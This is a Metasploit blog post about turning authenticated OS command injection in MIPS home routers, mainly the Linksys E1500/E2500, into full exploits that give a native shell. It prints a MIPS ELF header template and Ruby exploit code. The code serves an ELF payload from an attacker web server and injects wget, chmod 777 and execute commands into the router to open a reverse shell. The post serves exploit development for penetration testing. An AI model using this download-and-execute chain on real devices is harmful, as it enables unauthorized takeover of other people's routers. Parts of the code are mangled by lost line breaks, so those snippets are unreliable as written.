Normally we don't get a lot of contributions regarding embedded devices. Even when they are an interesting target from the pentesting point of view, and is usual to find them out of DMZ zones on corporate networks. Maybe it's because access to these devices or the software running in top of them is not so easy. Maybe because usually they are based on MIPS architectures which hasn't get so much attention as x86 or ARM architectures. Or maybe because it's not so easy always to run the their software in a  controlled (debugged) fashion.

Fortunately, Michael Messner (aka m-1-k-3) is the exception, he isn't only doing an awesome work about vulnerability research on small Linux routers, but also doing a great work writing modules targeting these embedded devices in order to fingerprint devices, retrieve configuration files or getting shells. In this blog post we would like to share with all you a successful (spoiling!) trip until a shell which we did with m-1-k-3. The blog post also introduces some of the new improvements of Metasploit in order to speed exploit development on MIPS based devices.

This story started with m-1-k-3 doing some pull request for auxiliary modules achieving remote OS command execution in MIPS network-related embedded devices through their web interfaces:

  • #1618: Remote command execution on Netgear DGN2200B
  • #1636: Remote command execution on Netgear DGN1000B
  • #1640: Remote command execution on D-Link DIR-615

Unfortunately, after reviewing them and discussing the topic with other Metasploit developers, we asked m-1-k-3 to convert these auxiliary modules into remote exploits. Normally, after getting a way to execute arbitrary OS command it's more or less easy to get a Metasploit session and a working exploit. Exploits are preferred because Metasploit users benefit in two ways:

  1. They get easy and powerful interaction with the target through a session.
  2. They benefit from post-exploitation modules.

Unfortunately, it's usual on embedded devices to have available only a small set of OS commands through a restricted busybox shell and a few more tools. Here is, for example, the set of available commands on a DGN 1000B device:

[
br2684ctld
dmesg
igmp
ln
nbtscan
pppd
routed
udhcpd
[[
brctl
dnrd
import_ca.cgi
ls
netgear_ntp
pppoe
scfgmgr
umount adslmod
busybox
dsl_cpe_control
init
lsmod 
nvram
pppoe-relay
setup.cgi
upgrade_flash.cgi aes-up.sh
cat
dsl_diag
insmod
md5sum
oamd
ps
setupwizard.cgi
upload.cgi ash
chmod
echo
iptables
mini_httpd
oamlbsearch
rc
sh
wget athcfg
cmd_agent_ap
ez-ipupdate
iptpat_util
miniupnpd 
pb_ap
reboot
sleep
wifi_monitor atmarp
conf
free
kill
mkdir
ping
restore_config.cgi
smtpc
wizard atmarpd
cp
halt
killall
mknod
pot
rm
syslogd
wpa_supplicant atm_monitor
crond 
hostapd
klogd
mount
potcounter
rmmod
test
wpatalk br2684ctl
cut
ifconfig
lld2 
mv
poweroff
route
udhcpc
wsc_det

After discussing the possibilities with @m-1-k-3 we concluded it wasn't a good idea to write CMD exploits for these devices, because of two points:

  1. In the best case we would need new payloads which would be device specific.
  2. Native payloads (and shell sessions) are more powerful than CMD payloads.

After discarding CMD type exploits, we switched to the possibility of staging from CMD to the execution of a native payload. Since it's usual to have tools such as wget, or alternative ways to download files from remote hosts to the embedded device, it sounded like a good option. In fact, sounded like a perfect solution for us. But there was another pitfall. There wasn't support to create MIPS ELF (nor big endian neither little endian) executables still in Metasploit, So the MIPS payloads couldn't be embedded into executable files programmatically. Fortunately add the support was as easier as:

  1. Create tiny ELF templates for the MIPS architectures (little and big endian). In the case of MIPSLE something like:
BITS 32 org 0x00400000 ehdr:
; Elf32_Ehdr
db
0x7F, "ELF", 1, 1, 1, 0  ;
e_ident   db    0, 0, 0, 0,  0, 0, 0, 0  ;
dw 2 ;
e_type = ET_EXEC for an executable dw 0x8;
e_machine    = MIPS   dd    1                        ;  e_version   dd    _start                  ;
e_entry   dd    phdr - $                ;
e_phoff   dd    0                        ;
e_shoff   dd    0                        ;
e_flags   dw    ehdrsize                ;
e_ehsize   dw    phdrsize                ;
e_phentsize   dw    1                        ;
e_phnum   dw    0                        ;
e_shentsize   dw    0                        ;
e_shnum   dw    0                        ;
e_shstrndx ehdrsize equ  $ - ehdr phdr:                            ;
Elf32_Phdr   dd    1                        ;
p_type      = PT_LOAD   dd    0                        ;
p_offset   dd    $                      ;
p_vaddr   dd    $                      ;
p_paddr   dd    0xDEADBEEF              ;
p_filesz   dd    0xDEADBEEF              ;
p_memsz   dd    7                        ;
p_flags      = rwx   dd    0x1000                  ;
p_align phdrsize equ  $ - phdr _start:
  1. Add support to MSF::Util::EXE to have into account the new templates, so MIPS ELF executables could be created through the use of the mixin, by calling the Msf::Util::Exe.to_executable() API. Or also through the Msf::Exploit::EXE mixin, by calling its generate_payload_exe() method. If you would like to review, exactly, how the support was added you can check the next pull requests:
  • #1666: Support for MIPSLE ELF.
  • #1671: Support for MIPSBE ELF.

With the support for MIPS ELF executables available on Msf::Util::EXE it's just a matter of coding to have available these awesome embedded devices exploits. And m-1-k-3 started writing the first of (we hope!) a long serie of embedded devices exploits. In this first module an authenticated os command injection, on the Web Interface of the Linksys E1500/E2500 Wireless routers, is abused. The vulnerability details can be found in the original advisory. And the full exploit writing history can be found in the next pull request: "#1688: Linksys E1500/E2500 Remote Command Execution". As a summary, in order to execute the shell payloads the staging is accomplished by:

  1. Create a MIPS ELF with the payload to execute after include the Msf::Exploit::EXE mixin:
@pl = generate_payload_exe
  1. Start a Web Server (or use an external one).
# # start our server
# resource_uri = '/' downfile
if (datastore['DOWNHOST'])
service_url = 'http://' datastore['DOWNHOST'] ':' datastore['SRVPORT'].to_s resource_uri else
#do not use SSL
    if datastore['SSL']
        ssl_restore = true
        datastore['SSL'] = false
    end
#we use SRVHOST as download IP for the coming wget command.   #SRVHOST needs a real IP address of our download host
    if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
        srv_host = Rex::Socket.source_address(rhost)
    else
        srv_host = datastore['SRVHOST']
    end   service_url = 'http://' srv_host ':' datastore['SRVPORT'].to_s resource_uri
    print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
    start_service(
    {'Uri' =>
        {   'Proc' => Proc.new
            { |cli, req|   on_request_uri(cli, req)
            },   'Path' => resource_uri
        }
    }
    )
    datastore['SSL'] = true if ssl_restore
end
  1. Use the Web Server to sent the ELF with the embedded payload on new requests:
 # Handle incoming requests from the server def on_request_uri(cli, request)   #print_status("on_request_uri called: #{request.inspect}")   if (not @pl)   print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")   return   end   print_status("#{rhost}:#{rport} - Sending the payload to the server...")   @elf_sent = true   send_response(cli, @pl) end 
  1. Exploit the remote OS command injection to download the MIPS ELF payload with the available wget tool:
 # # download payload # print_status("#{rhost}:#{rport} - Asking the Linksys device to download #{service_url}") #this filename is used to store the payload on the device filename = rand_text_alpha_lower(8) #not working if we send all command together -> lets take three requests cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}" res = request(cmd,user,pass,uri) if (!res)   fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") end 

5) Exploit the remote OS command injection to give execution permissions to the downloaded binary:

 # # chmod # cmd = "chmod 777 /tmp/#{filename}" print_status("#{rhost}:#{rport} - Asking the Linksys device to chmod #{downfile}") res = request(cmd,user,pass,uri) if (!res)   fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") end 

6) Exploit the remote OS command injection to execute the downloaded binary:

 # # execute # cmd = "/tmp/#{filename}" print_status("#{rhost}:#{rport} - Asking the Linksys device to execute #{downfile}") res = request(cmd,user,pass,uri) if (!res)   fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") end 

7) Enjoy! After a long and funny trip now we can enjoy Linksys E1500 shells (thanks m-1-k-3!):

Linksys E1500 reverse shell session (shared by m-1-k-3)

Want to try this out for yourself? Get your free Metasploit download now or update your existing installation, and let us know if you have any further questions.